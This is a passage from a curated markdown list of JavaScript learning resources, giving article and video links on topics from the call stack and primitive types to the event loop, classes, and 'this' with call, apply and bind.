- 📜 [How JavaScript Works: An Overview of the Engine, the Runtime, and the Call Stack — Alexander Zlatkov](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf)
- 📜 [How JavaScript Works Under The Hood: An Overview of JavaScript Engine, Heap and, Call Stack — Bipin Rajbhar](https://dev.to/bipinrajbhar/how-javascript-works-under-the-hood-an-overview-of-javascript-engine-heap-and-call-stack-1j5o)
### Videos
- 🎥 [Javascript: the Call Stack explained — Coding Blocks India](https://www.youtube.com/watch?v=w6QGEiQceOM)
- 🎥 [The JS Call Stack Explained In 9 Minutes — Colt Steele](https://www.youtube.com/watch?v=W8AeMrVtFLY)
- 🎥 [What is the Call Stack? — Eric Traub](https://www.youtube.com/watch?v=w7QWQlkLY_s)
- 🎥 [The Call Stack — Kevin Drumm](https://www.youtube.com/watch?v=Q2sFmqvpBe0)
- 🎥 [Understanding JavaScript Execution — Codesmith](https://www.youtube.com/watch?v=Z6a1cLyq7Ac&list=PLWrQZnG8l0E4kd1T_nyuVoxQUaYEWFgcD)
- 🎥 [The Ultimate Guide to Execution Contexts, Hoisting, Scopes, and Closures in JavaScript — Tyler McGinnis](https://www.youtube.com/watch?v=Nt-qa_LlUH0)
- 🎥 [What the heck is the event loop anyway? — Philip Roberts](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
- 🎥 [La PILA DE EJECUCIÓN (Call Stack) de JavaScript — La Cocina del Código](https://www.youtube.com/watch?v=ygA5U7Wgsg8)
- 🎥 [How JavaScript Code is executed? ❤️& Call Stack — Akshay Saini](https://www.youtube.com/watch?v=iLWTnMzWtj4&list=PLlasXeu85E9cQ32gLCvAvr9vNaUccPVNP)
**[⬆ Back to Top](#table-of-contents)**
---
## 2. Primitive Types
### Reference
- 📜 [JavaScript data types and data structures — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Primitive_values)
### Articles
- 📜 [Primitive and Non-primitive data-types in JavaScript - GeeksforGeeks](https://www.geeksforgeeks.org/primitive-and-non-primitive-data-types-in-javascript)
- 📜 [Javascript variables (Beginner thinking)](https://robiul.dev/javascript-variables-beginner-thinking)
- 📜 [How numbers are encoded in JavaScript — Dr. Axel Rauschmayer](http://2ality.com/2012/04/number-encoding.html)
- 📜 [What You Need to Know About JavaScript Number Type — Max Wizard K](https://indepth.dev/posts/1139/here-is-what-you-need-to-know-about-javascripts-number-type)
- 📜 [What Every JavaScript Developer Should Know About Floating Point Numbers — Chewxy](https://blog.chewxy.com/2014/02/24/what-every-javascript-developer-should-know-about-floating-point-numbers/)
- 📜 [The Secret Life of JavaScript Primitives — Angus Croll](https://javascriptweblog.wordpress.com/2010/09/27/the-secret-life-of-javascript-primitives/)
- 📜 [Primitive Types — Flow](https://flow.org/en/docs/types/primitives/)
- 📜 [(Not) Everything in JavaScript is an Object — Daniel Li](https://dev.to/d4nyll/not-everything-in-javascript-is-an-object)
- 📜 [JavaScript data types and data structures — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Primitive_values)
- 📜 [Diving Deeper in JavaScripts Objects — Arfat Salman](https://blog.bitsrc.io/diving-deeper-in-javascripts-objects-318b1e13dc12)
- 📜 [The differences between Object.freeze() vs Const in JavaScript — Bolaji Ayodeji](https://medium.com/@bolajiayodeji/the-differences-between-object-freeze-vs-const-in-javascript-4eacea534d7c)
- 📜 [Object to primitive conversion — JavaScript.info](https://javascript.info/object-toprimitive)
### Videos
- 🎥 [JavaScript Reference vs Primitive Types — Academind](https://www.youtube.com/watch?v=9ooYYRLdg_g)
- 🎥 [JavaScript Primitive Types — Simon Sez IT](https://www.youtube.com/watch?v=HsbWQsSCE5Y)
- 🎥 [Value Types and Reference Types in JavaScript — Programming with Mosh](https://www.youtube.com/watch?v=e-_mDyqm2oU)
- 🎥 [JavaScript Primitive Data Types — Avelx](https://www.youtube.com/watch?v=qw3j0A3DIzQ)
- 🎥 [Everything you never wanted to know about JavaScript numbers — Bartek Szopka](https://www.youtube.com/watch?v=MqHDDtVYJRI)
- 🎥 [What are variables in Javascript? — JS For Everyone](https://www.youtube.com/watch?v=B4Bbmei_thw)
- 🎥 [TIPOS DE DATOS PRIMITIVOS en JAVASCRIPT - La Cocina del Código](https://www.youtube.com/watch?v=cC65D2q5f8I)
**[⬆ Back to Top](#table-of-contents)**
---
## 3. Value Types and Reference Types
### Articles
- 📜 [Explaining Value vs. Reference in Javascript — Arnav Aggarwal](https://codeburst.io/explaining-value-vs-reference-in-javascript-647a975e12a0)
- 📜 [Primitive Types & Reference Types in JavaScript — Bran van der Meer](https://gist.github.com/branneman/7fb06d8a74d7e6d4cbcf75c50fec599c)
- 📜 [Value Types, Reference Types and Scope in JavaScript — Ben Aston](https://medium.com/@benastontweet/lesson-1b-javascript-fundamentals-380f601ba851)
- 📜 [Back to roots: JavaScript Value vs Reference — Miro Koczka](https://medium.com/dailyjs/back-to-roots-javascript-value-vs-reference-8fb69d587a18)
- 📜 [Grasp “By Value” and “By Reference” in JavaScript — Léna Faure](https://hackernoon.com/grasp-by-value-and-by-reference-in-javascript-7ed75efa1293)
- 📜 [JavaScript Reference and Copy Variables — Vítor Capretz](https://hackernoon.com/javascript-reference-and-copy-variables-b0103074fdf0)
- 📜 [JavaScript Primitive vs Reference Values](http://www.javascripttutorial.net/javascript-primitive-vs-reference-values/)
- 📜 [JavaScript by Reference vs. by Value — nrabinowitz](https://stackoverflow.com/questions/6605640/javascript-by-reference-vs-by-value)
- 📜 [JavaScript Interview Prep: Primitive vs. Reference Types — Mike Cronin](https://dev.to/mostlyfocusedmike/javascript-interview-prep-primitive-vs-reference-types-3o4f)
- 📜 [JavaScript map vs. forEach: When to Use Each One - Sajal Soni](https://code.tutsplus.com/tutorials/javascript-map-vs-foreach-when-to-use-each-one--cms-38365)
### Videos
- 🎥 [Javascript Pass by Value vs Pass by Reference — techsith](https://www.youtube.com/watch?v=E-dAnFdq8k8)
- 🎥 [JavaScript Value vs Reference Types — Programming with Mosh](https://www.youtube.com/watch?v=fD0t_DKREbE)
- 🎥 [VALORES vs REFERENCIAS en JAVASCRIPT - La Cocina del Código](https://www.youtube.com/watch?v=AvkyOrWkuQc)
- 🎥 [JavaScript - Reference vs Primitive Values/ Types - Academind](https://www.youtube.com/watch?v=9ooYYRLdg_g)
**[⬆ Back to Top](#table-of-contents)**
---
## 4. Implicit, Explicit, Nominal, Structuring and Duck Typing
### Articles
- 📜 [What you need to know about Javascript's Implicit Coercion — Promise Tochi](https://dev.to/promhize/what-you-need-to-know-about-javascripts-implicit-coercion-e23)
- 📜 [JavaScript Type Coercion Explained — Alexey Samoshkin](https://medium.freecodecamp.org/js-type-coercion-explained-27ba3d9a2839)
- 📜 [Javascript Coercion Explained — Ben Garrison](https://hackernoon.com/javascript-coercion-explained-545c895213d3)
- 📜 [What exactly is Type Coercion in Javascript? - Stack Overflow](https://stackoverflow.com/questions/19915688/what-exactly-is-type-coercion-in-javascript)
### Videos
- 🎥 [== ? === ??? ...#@^% - Shirmung Bielefeld](https://www.youtube.com/watch?v=qGyqzN0bjhc&t)
- 🎥 [Coercion in Javascript - Hitesh Choudhary](https://www.youtube.com/watch?v=b04Q_vyqEG8)
- 🎥 [JavaScript Questions: What is Coercion? - Steven Hancock](https://www.youtube.com/watch?v=z4-8wMSPJyI)
- 🎥 [Typing: Static vs Dynamic, Weak vs. Strong - Codexpanse](https://www.youtube.com/watch?v=C5fr0LZLMAs)
- 🎥 [EL SISTEMA de TIPOS DE JAVASCRIPT - La Cocina del Código](https://www.youtube.com/watch?v=0ei4nb49GKo)
### Books
- [You Don't Know JS, 1st Edition: Types & Grammar — Kyle Simpson](https://github.com/getify/You-Dont-Know-JS/tree/1st-ed)
**[⬆ Back to Top](#table-of-contents)**
---
## 5. == vs === vs typeof
### Articles
- 📜 [JavaScript Double Equals vs. Triple Equals — Brandon Morelli](https://codeburst.io/javascript-double-equals-vs-triple-equals-61d4ce5a121a)
- 📜 [Should I use === or == equality comparison operator in JavaScript? — Panu Pitkamaki](https://bytearcher.com/articles/equality-comparison-operator-javascript/)
- 📜 [== vs === JavaScript: Double Equals and Coercion — AJ Meyghani](https://www.codementor.io/javascript/tutorial/double-equals-and-coercion-in-javascript)
- 📜 [Why Use the Triple-Equals Operator in JavaScript? — Louis Lazaris](https://www.impressivewebs.com/why-use-triple-equals-javascipt/)
- 📜 [What is the difference between == and === in JavaScript? — Craig Buckler](https://www.oreilly.com/learning/what-is-the-difference-between-and-in-javascript)
- 📜 [Why javascript's typeof always return "object"? — Stack Overflow](https://stackoverflow.com/questions/3787901/why-javascripts-typeof-always-return-object)
- 📜 [Checking Types in Javascript — Toby Ho](http://tobyho.com/2011/01/28/checking-types-in-javascript/)
- 📜 [How to better check data types in JavaScript — Webbjocke](https://webbjocke.com/javascript-check-data-types/)
- 📜 [Checking for the Absence of a Value in JavaScript — Tomer Aberbach](https://tomeraberba.ch/html/post/checking-for-the-absence-of-a-value-in-javascript.html)
- 📜 [Difference between == and === in JavaScript — GeeksforGeeks](https://www.geeksforgeeks.org/difference-between-double-equal-vs-triple-equal-javascript/)
- 📜 [=== vs == Comparision in JavaScript — FreeCodeCamp](https://www.freecodecamp.org/news/javascript-triple-equals-sign-vs-double-equals-sign-comparison-operators-explained-with-examples/)
### Videos
- 🎥 [JavaScript - The typeof operator — Java Brains](https://www.youtube.com/watch?v=ol_su88I3kw)
- 🎥 [Javascript typeof operator — DevDelight](https://www.youtube.com/watch?v=qPYhTPt_SbQ)
- 🎥 [JavaScript "==" VS "===" — Web Dev Simplified](https://www.youtube.com/watch?v=C5ZVC4HHgIg)
**[⬆ Back to Top](#table-of-contents)**
---
## 6. Function Scope, Block Scope and Lexical Scope
### Books
- [You Don't Know JS Yet, 2nd Edition: Scope & Closures — Kyle Simpson](https://github.com/getify/You-Dont-Know-JS/tree/2nd-ed/scope-closures)
### Articles
- 📜 [JavaScript Functions — Understanding The Basics — Brandon Morelli](https://codeburst.io/javascript-functions-understanding-the-basics-207dbf42ed99)
- 📜 [Var, Let, and Const – What's the Difference?](https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/)
- 📜 [Functions in JavaScript - Deepa Pandey](https://www.scaler.com/topics/javascript/javascript-functions/)
- 📜 [Emulating Block Scope in JavaScript — Josh Clanton](http://adripofjavascript.com/blog/drips/emulating-block-scope-in-javascript.html)
- 📜 [The Difference Between Function and Block Scope in JavaScript — Joseph Cardillo](https://medium.com/@josephcardillo/the-difference-between-function-and-block-scope-in-javascript-4296b2322abe)
- 📜 [Function Scopes and Block Scopes in JavaScript — Samer Buna](https://edgecoders.com/function-scopes-and-block-scopes-in-javascript-25bbd7f293d7)
- 📜 [Understanding Scope and Context in JavaScript — Ryan Morr](http://ryanmorr.com/understanding-scope-and-context-in-javascript/)
- 📜 [JavaScript Scope and Closures — Zell Liew](https://css-tricks.com/javascript-scope-closures/)
- 📜 [Understanding Scope in JavaScript — Wissam Abirached](https://developer.telerik.com/topics/web-development/understanding-scope-in-javascript/)
- 📜 [Understanding Scope in JavaScript ― Hammad Ahmed](https://scotch.io/tutorials/understanding-scope-in-javascript)
- 📜 [When to use a function declaration vs. a function expression ― Amber Wilkie](https://medium.freecodecamp.org/when-to-use-a-function-declarations-vs-a-function-expression-70f15152a0a0)
- 📜 [A JavaScript Fundamentals Cheat Sheet: Scope, Context, and “this” ― Alexandra Fren](https://dev.to/alexandrafren/a-javascript-fundamentals-cheat-sheet-scope-context-and-this-28ai)
- 📜 [Functions / Function scope ― MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#function_scope)
### Videos
- 🎥 [What Makes Javascript Weird ... and Awesome pt. 4 — LearnCode.academy](https://www.youtube.com/watch?v=SBwoFkRjZvE)
- 🎥 [Variable Scope in JavaScript — Kirupa Chinnathambi](https://www.youtube.com/watch?v=dhp57T3p760)
- 🎥 [JavaScript Block Scope and Function Scope — mmtuts](https://www.youtube.com/watch?v=aK_nuUAdr8E)
- 🎥 [What the Heck is Lexical Scope? — NWCalvank](https://www.youtube.com/watch?v=GhNA0r10MmA)
- 🎥 [Variable Scope — Steve Griffith](https://www.youtube.com/watch?v=FyWdrCZZavQ)
- 🎥 [Javascript Tutorials for Beginners — Mosh Hemadani](https://www.youtube.com/watch?v=W6NZfCO5SIk)
**[⬆ Back to Top](#table-of-contents)**
---
## 7. Expression vs Statement
### Articles
- 📜 [All you need to know about Javascript's Expressions, Statements and Expression Statements — Promise Tochi](https://dev.to/promhize/javascript-in-depth-all-you-need-to-know-about-expressions-statements-and-expression-statements-5k2)
- 📜 [Function Expressions vs Function Declarations — Paul Wilkins](https://www.sitepoint.com/function-expressions-vs-declarations/)
- 📜 [JavaScript Function — Declaration vs Expression — Ravi Roshan](https://medium.com/@raviroshan.talk/javascript-function-declaration-vs-expression-f5873b8c7b38)
- 📜 [Function Declarations vs. Function Expressions — Mandeep Singh](https://medium.com/@mandeep1012/function-declarations-vs-function-expressions-b43646042052)
- 📜 [Function Declarations vs. Function Expressions — Anguls Croll](https://javascriptweblog.wordpress.com/2010/07/06/function-declarations-vs-function-expressions/)
### Videos
- 🎥 [Expressions vs. Statements in JavaScript — Hexlet](https://www.youtube.com/watch?v=WVyCrI1cHi8)
- 🎥 [The difference between an expression and a statement in JavaScript](https://youtu.be/eWTuFoBYiwg)
**[⬆ Back to Top](#table-of-contents)**
---
## 8. IIFE, Modules and Namespaces
### Articles
- 📜 [Mastering Immediately-Invoked Function Expressions ― Chandra Gundamaraju](https://medium.com/@vvkchandra/essential-javascript-mastering-immediately-invoked-function-expressions-67791338ddc6)
- 📜 [Do ES6 Modules make the case of IIFEs obsolete?](https://hashnode.com/post/do-es6-modules-make-the-case-of-iifes-obsolete-civ96wet80scqgc538un20es0)
- 📜 [A 10 minute primer to JavaScript modules, module formats, module loaders and module bundlers ― Jurgen Van de Moere](https://www.jvandemo.com/a-10-minute-primer-to-javascript-modules-module-formats-module-loaders-and-module-bundlers/)
- 📜 [Modules ― Exploring JS](http://exploringjs.com/es6/ch_modules.html)
- 📜 [ES modules: A cartoon deep-dive — Lin Clark](https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/)
- 📜 [Understanding ES6 Modules — Craig Buckler](https://www.sitepoint.com/understanding-es6-modules/)
- 📜 [An overview of ES6 Modules in JavaScript — Brent Graham](https://blog.cloud66.com/an-overview-of-es6-modules-in-javascript/)
- 📜 [ES6 Modules in Depth — Nicolás Bevacqua](https://ponyfoo.com/articles/es6-modules-in-depth)
- 📜 [ES6 modules, Node.js and the Michael Jackson Solution — Alberto Gimeno](https://medium.com/dailyjs/es6-modules-node-js-and-the-michael-jackson-solution-828dc244b8b)
- 📜 [JavaScript Modules: A Beginner’s Guide — Preethi Kasireddy](https://medium.freecodecamp.org/javascript-modules-a-beginner-s-guide-783f7d7a5fcc)
- 📜 [Using JavaScript modules on the web — Addy Osmani & Mathias Bynens](https://developers.google.com/web/fundamentals/primers/modules)
- 📜 [IIFE: Immediately Invoked Function Expressions — Parwinder](https://dev.to/bhagatparwinder/iife-immediately-invoked-function-expressions-49c5)
- 📜 [Javascript Module Bundlers — Vanshu Hassija](https://sassy-butter-197.notion.site/Javascript-bundlers-016932b17b0744e983c2cc0db31e6f02)
### Videos
- 🎥 [Immediately Invoked Function Expression - Beau teaches JavaScript — freeCodeCamp](https://www.youtube.com/watch?v=3cbiZV4H22c)
- 🎥 [Understanding JavaScript IIFE — Sheo Narayan](https://www.youtube.com/watch?v=I5EntfMeIIQ)
- 🎥 [JavaScript Modules: ES6 Import and Export — Kyle Robinson](https://www.youtube.com/watch?v=_3oSWwapPKQ)
- 🎥 [ES6 - Modules — Ryan Christiani](https://www.youtube.com/watch?v=aQr2bV1BPyE)
- 🎥 [ES6 Modules in the Real World — Sam Thorogood](https://www.youtube.com/watch?v=fIP4pjAqCtQ)
- 🎥 [ES6 Modules — TempleCoding](https://www.youtube.com/watch?v=5P04OK6KlXA)
- 🎥 [JavaScript IIFE (Immediately Invoked Function Expressions) — Steve Griffith](https://www.youtube.com/watch?v=Xd7zgPFwVX8&)
**[⬆ Back to Top](#table-of-contents)**
---
## 9. Message Queue and Event Loop
### Articles
- 📜 [JavaScript Event Loop Explained — Anoop Raveendran](https://medium.com/front-end-hacking/javascript-event-loop-explained-4cd26af121d4)
- 📜 [The JavaScript Event Loop: Explained — Erin Sweson-Healey](https://blog.carbonfive.com/2013/10/27/the-javascript-event-loop-explained/)
- 📜 [Understanding JS: The Event Loop — Alexander Kondov](https://hackernoon.com/understanding-js-the-event-loop-959beae3ac40)
- 📜 [Understanding the JavaScript Event Loop — Ashish Gupta](https://www.zeolearn.com/magazine/understanding-the-javascript-event-loop)
- 📜 [The JavaScript Event Loop — Flavio Copes](https://flaviocopes.com/javascript-event-loop/)
- 📜 [How JavaScript works: Event loop — Alexander Zlatkov](https://blog.sessionstack.com/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with-2f077c4438b5)
- 📜 [Tasks, microtasks, queues and schedules — Jake Archibald](https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/)
- 📜 [Visualising the JavaScript Event Loop with a Pizza Restaurant analogy — Priyansh Jain](https://dev.to/presto412/visualising-the-javascript-event-loop-with-a-pizza-restaurant-analogy-47a8)
- 📜 [JavaScript Visualized: Event Loop — Lydia Hallie](https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif)
### Videos
- 🎥 [What the heck is the event loop anyway? | JSConf EU — Philip Roberts](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
- 🎥 [JavaScript Event Loop — ComScience Simplified](https://www.youtube.com/watch?v=XzXIMZMN9k4)
- 🎥 [I'm stuck in an Event Loop — Philip Roberts](https://www.youtube.com/watch?v=6MXRNXXgP_0)
- 🎥 [In The Loop - Jake Archibald | JSConf.Asia 2018](https://www.youtube.com/watch?v=cCOL7MC4Pl0)
- 🎥 [Desmitificando el Event Loop (Spanish)](https://www.youtube.com/watch?v=Eqq2Rb7LzYE)
- 🎥 [Callbacks, Sincrono, Assíncrono e Event Loop (PT-BR)](https://www.youtube.com/watch?v=6lbBaM18X3g)
**[⬆ Back to Top](#table-of-contents)**
---
## 10. setTimeout, setInterval and requestAnimationFrame
### Articles
- 📜 [Javascript setTimeout - All you need to know](https://robiul.dev/javascript-settimeout-all-you-need-to-know)
- 📜 [setTimeout and setInterval — JavaScript.Info](https://javascript.info/settimeout-setinterval)
- 📜 [Why not to use setInterval — Akanksha Sharma](https://dev.to/akanksha_9560/why-not-to-use-setinterval--2na9)
- 📜 [setTimeout VS setInterval — Develoger](https://develoger.com/settimeout-vs-setinterval-cff85142555b)
- 📜 [Using requestAnimationFrame — Chris Coyier](https://css-tricks.com/using-requestanimationframe/)
- 📜 [Understanding JavaScript's requestAnimationFrame() — JavaScript Kit](http://www.javascriptkit.com/javatutors/requestanimationframe.shtml)
- 📜 [Handling time intervals in JavaScript - Amit Merchant](https://www.amitmerchant.com/Handling-Time-Intervals-In-Javascript/)
### Videos
- 🎥 [Javascript: How setTimeout and setInterval works — Coding Blocks India](https://www.youtube.com/watch?v=6bPKyl8WYWI)
- 🎥 [setTimeout and setInterval in JavaScript — techsith](https://www.youtube.com/watch?v=TbCgGWe8LN8)
- 🎥 [JavaScript Timers — Steve Griffith](https://www.youtube.com/watch?v=0VVJSvlUgtg)
- 🎥 [JavaScript setTimeOut and setInterval Explained — Theodore Anderson](https://www.youtube.com/watch?v=mVKfrWCOB60)
**[⬆ Back to Top](#table-of-contents)**
---
## 11. JavaScript Engines
### Articles
- 📜 [Is javascript compiled or interpreted language?](https://robiul.dev/is-javascript-compiled-or-interpreted-language)
- 📜 [JavaScript Engines — Jen Looper](http://www.softwaremag.com/javascript-engines/)
- 📜 [Understanding How the Chrome V8 Engine Translates JavaScript into Machine Code — DroidHead](https://medium.freecodecamp.org/understanding-the-core-of-nodejs-the-powerful-chrome-v8-engine-79e7eb8af964)
- 📜 [Understanding V8’s Bytecode — Franziska Hinkelmann](https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775)
- 📜 [A Brief History of Google’s V8 Javascript Engine — Clair Smith](https://www.mediacurrent.com/blog/brief-history-googles-v8-javascript-engine/)
- 📜 [JavaScript essentials: why you should know how the engine works - Rainer Hahnekamp](https://www.freecodecamp.org/news/javascript-essentials-why-you-should-know-how-the-engine-works-c2cc0d321553)
- 📜 [JavaScript engine fundamentals: Shapes and Inline Caches](https://mathiasbynens.be/notes/shapes-ics)
- 📜 [JavaScript engine fundamentals: optimizing prototypes](https://mathiasbynens.be/notes/prototypes)
- 📜 [How V8 optimizes array operations](https://v8.dev/blog/elements-kinds)
### Videos
- 🎥 [JavaScript Engines: The Good Parts™ — Mathias Bynens & Benedikt Meurer](https://www.youtube.com/watch?v=5nmpokoRaZI)
- 🎥 [JS Engine EXPOSED 🔥 Google's V8 Architecture 🚀 | Namaste JavaScript Ep. 16 - Akshay Saini](https://www.youtube.com/watch?v=2WJL19wDH68)
- 🎥 [How JavaScript Code is executed? How Javascript works behind the scenes](https://youtu.be/iLWTnMzWtj4)
- 🎥 [Understanding the V8 JavaScript Engine - freeCodeCamp Talks](https://www.youtube.com/watch?v=xckH5s3UuX4)
**[⬆ Back to Top](#table-of-contents)**
---
## 12. Bitwise Operators, Type Arrays and Array Buffers
### Articles
- 📜 [Programming with JS: Bitwise Operations — Alexander Kondov](https://hackernoon.com/programming-with-js-bitwise-operations-393eb0745dc4)
- 📜 [Using JavaScript’s Bitwise Operators in Real Life — ian m](https://codeburst.io/using-javascript-bitwise-operators-in-real-life-f551a731ff5)
- 📜 [JavaScript Bitwise Operators — w3resource](https://www.w3resource.com/javascript/operators/bitwise-operator.php)
- 📜 [Bitwise Operators in Javascript — Joe Cha](https://medium.com/bother7-blog/bitwise-operators-in-javascript-65c4c69be0d3)
- 📜 [A Comprehensive Primer on Binary Computation and Bitwise Operators in Javascript — Paul Brown](https://medium.com/techtrument/a-comprehensive-primer-on-binary-computation-and-bitwise-operators-in-javascript-81acf8341f04)
- 📜 [How can I understand Bitwise operation in JavaScript?](https://www.quora.com/How-can-I-understand-Bitwise-operation-in-JavaScript)
### Videos
- 🎥 [JavaScript Bitwise Operators — Programming with Mosh](https://www.youtube.com/watch?v=mesu75PTDC8)
- 🎥 [Bitwise Operators and WHY we use them — Alex Hyett](https://www.youtube.com/watch?v=igIjGxF2J-w)
- 🎥 [JS Bitwise Operators and Binary Numbers — Steve Griffith - Prof3ssorSt3v3](https://www.youtube.com/watch?v=RRyxCmLX_ag)
- 🎥 [Deep Dive into Blobs, Files, and ArrayBuffers — Steve Griffith - Prof3ssorSt3v3](https://www.youtube.com/watch?v=ScZZoHj7mqY)
**[⬆ Back to Top](#table-of-contents)**
---
## 13. DOM and Layout Trees
### Books
- 📜 [Eloquent JavaScript, 3rd Edition: Ch. 14 - The Document Object Model](https://eloquentjavascript.net/14_dom.html)
### Articles
- 📜 [How To Understand and Modify the DOM in JavaScript — Tania Rascia](https://www.digitalocean.com/community/tutorials/introduction-to-the-dom)
- 📜 [What’s the Document Object Model, and why you should know how to use it — Leonardo Maldonado](https://medium.freecodecamp.org/whats-the-document-object-model-and-why-you-should-know-how-to-use-it-1a2d0bc5429d)
- 📜 [JavaScript DOM Tutorial with Example — Guru99](https://www.guru99.com/how-to-use-dom-and-events-in-javascript.html)
- 📜 [What is the DOM? — Chris Coyier](https://css-tricks.com/dom/)
- 📜 [Traversing the DOM with JavaScript — Zell Liew](https://zellwk.com/blog/dom-traversals/)
- 📜 [DOM Tree](https://javascript.info/dom-nodes)
- 📜 [How to traverse the DOM in Javascript — Vojislav Grujić](https://medium.com/javascript-in-plain-english/how-to-traverse-the-dom-in-javascript-d6555c335b4e)
- 📜 [Render Tree Construction — Ilya Grigorik](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/render-tree-construction)
- 📜 [What exactly is the DOM?](https://bitsofco.de/what-exactly-is-the-dom/)
### Videos
- 🎥 [JavaScript DOM — The Net Ninja](https://www.youtube.com/watch?v=FIORjGvT0kk)
- 🎥 [JavaScript DOM Crash Course — Traversy Media](https://www.youtube.com/watch?v=0ik6X4DJKCc)
**[⬆ Back to Top](#table-of-contents)**
---
## 14. Factories and Classes
### Articles
- 📜 [How To Use Classes in JavaScript — Tania Rascia](https://www.digitalocean.com/community/tutorials/understanding-classes-in-javascript)
- 📜 [Javascript Classes — Under The Hood — Majid](https://medium.com/tech-tajawal/javascript-classes-under-the-hood-6b26d2667677)
- 📜 [Better JavaScript with ES6, Pt. II: A Deep Dive into Classes ― Peleke Sengstacke](https://scotch.io/tutorials/better-javascript-with-es6-pt-ii-a-deep-dive-into-classes)
- 📜 [Understand the Factory Design Pattern in Plain JavaScript — Aditya Agarwal](https://medium.com/front-end-hacking/understand-the-factory-design-pattern-in-plain-javascript-20b348c832bd)
- 📜 [Factory Functions in JavaScript — Josh Miller](https://atendesigngroup.com/blog/factory-functions-javascript)
- 📜 [The Factory Pattern in JS ES6 — SnstsDev](https://medium.com/@SntsDev/the-factory-pattern-in-js-es6-78f0afad17e9)
- 📜 [Class vs Factory function: exploring the way forward — Cristi Salcescu](https://medium.freecodecamp.org/class-vs-factory-function-exploring-the-way-forward-73258b6a8d15)
- 📜 [How ES6 classes really work and how to build your own — Robert Grosse](https://medium.com/@robertgrosse/how-es6-classes-really-work-and-how-to-build-your-own-fd6085eb326a)
- 📜 [Understanding `super` in JavaScript](https://jordankasper.com/understanding-super-in-javascript)
- 📜 [An Easy Guide To Understanding Classes In JavaScript](https://dev.to/lawrence_eagles/an-easy-guide-to-understanding-classes-in-javascript-3bcm)
### Videos
- 🎥 [JavaScript Factory Functions — Programming with Mosh](https://www.youtube.com/watch?v=jpegXpQpb3o)
- 🎥 [Factory Functions in JavaScript — Fun Fun Function](https://www.youtube.com/watch?v=ImwrezYhw4w)
- 🎥 [Javascript Tutorial Function Factories — Crypto Chan](https://www.youtube.com/watch?v=R7-IwpH80UE)
**[⬆ Back to Top](#table-of-contents)**
---
## 15. this, call, apply and bind
### Reference
- 📜 [call() — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call)
- 📜 [bind() — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/Function/bind)
- 📜 [apply() — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
### Articles
- 📜 [Grokking call(), apply() and bind() methods in JavaScript — Aniket Kudale](https://levelup.gitconnected.com/grokking-call-apply-and-bind-methods-in-javascript-392351a4be8b)
- 📜 [How-to: call() , apply() and bind() in JavaScript — Niladri Sekhar Dutta](https://www.codementor.io/niladrisekhardutta/how-to-call-apply-and-bind-in-javascript-8i1jca6jp)
- 📜 [JavaScript’s Apply, Call, and Bind Methods are Essential for JavaScript Professionals — Richard Bovell](http://javascriptissexy.com/javascript-apply-call-and-bind-methods-are-essential-for-javascript-professionals/)
- 📜 [Javascript: call(), apply() and bind() — Omer Goldberg](https://medium.com/@omergoldberg/javascript-call-apply-and-bind-e5c27301f7bb)
- 📜 [The difference between call / apply / bind — Ivan Sifrim](https://medium.com/@ivansifrim/the-differences-between-call-apply-bind-276724bb825b)
- 📜 [What the hack is call, apply, bind in JavaScript — Ritik](https://dev.to/ritik_dev_js/what-the-hack-is-call-apply-bind-in-javascript-11ce)
- 📜 [Mastering 'this' in JavaScript: Callbacks and bind(), apply(), call() — Michelle Gienow](https://thenewstack.io/mastering-javascript-callbacks-bind-apply-call/)
- 📜 [JavaScript’s apply, call, and bind explained by hosting a cookout — Kevin Kononenko](https://dev.to/kbk0125/javascripts-apply-call-and-bind-explained-by-hosting-a-cookout-32jo)
- 📜 [How AND When to use bind, call, and apply in Javascript — Eigen X](https://www.eigenx.com/blog/https/mediumcom/eigen-x/how-and-when-to-use-bind-call-and-apply-in-javascript-77b6f42898fb)
- 📜 [Let me explain to you what is `this`. (Javascript) — Jason Yu](https://dev.to/ycmjason/let-me-explain-to-you-what-is-this-javascript-44ja)
- 📜 [Understanding the “this” Keyword in JavaScript — Pavan](https://medium.com/quick-code/understanding-the-this-keyword-in-javascript-cb76d4c7c5e8)
- 📜 [How to understand the keyword this and context in JavaScript — Lukas Gisder-Dubé](https://medium.freecodecamp.org/how-to-understand-the-keyword-this-and-context-in-javascript-cd624c6b74b8)
- 📜 [What the heck is this in Javascript? — Hridayesh Sharma](https://dev.to/_hridaysharma/what-the-heck-is-this-in-javascript-37n1)
- 📜 [This and Bind In Javascript — Brian Barbour](https://dev.to/steelvoltage/this-and-bind-in-javascript-2pam)
- 📜 [3 Techniques for Maintaining Your Sanity Using "This" in JavaScript — Carl](https://dev.to/canderson93/3-techniques-for-maintaining-your-sanity-using-this-in-javascript-3idf)
- 📜 [Mastering the JavaScript "this" Keyword — Aakash Srivastav](https://dev.to/aakashsr/mastering-the-javascript-this-keyword-4pfa)
- 📜 [This binding in JavaScript – 4. New binding — Spyros Argalias](https://dev.to/sargalias/this-binding-in-javascript-4-new-binding-2p1n)
- 📜 [A quick intro to 'this' in JavaScript — Natalie Smith](https://dev.to/thatgalnatalie/a-quick-intro-to-this-in-javascript-2mhp)
- 📜 [Explaining JavaScript 'this' to my cat — Andrey K](https://dev.to/cat__logic/explaining-javascript-this-to-my-cat-1kig)
- 📜 [A conversation with the 'this' keyword in Javascript — Karen Efereyan](https://dev.to/developerkaren/a-conversation-with-the-this-keyword-in-javascript-3j6g)
- 📜 [What are call(), apply() and bind() in JavaScript — Amitav Mishra](https://jscurious.com/what-are-call-apply-and-bind-in-javascript/)
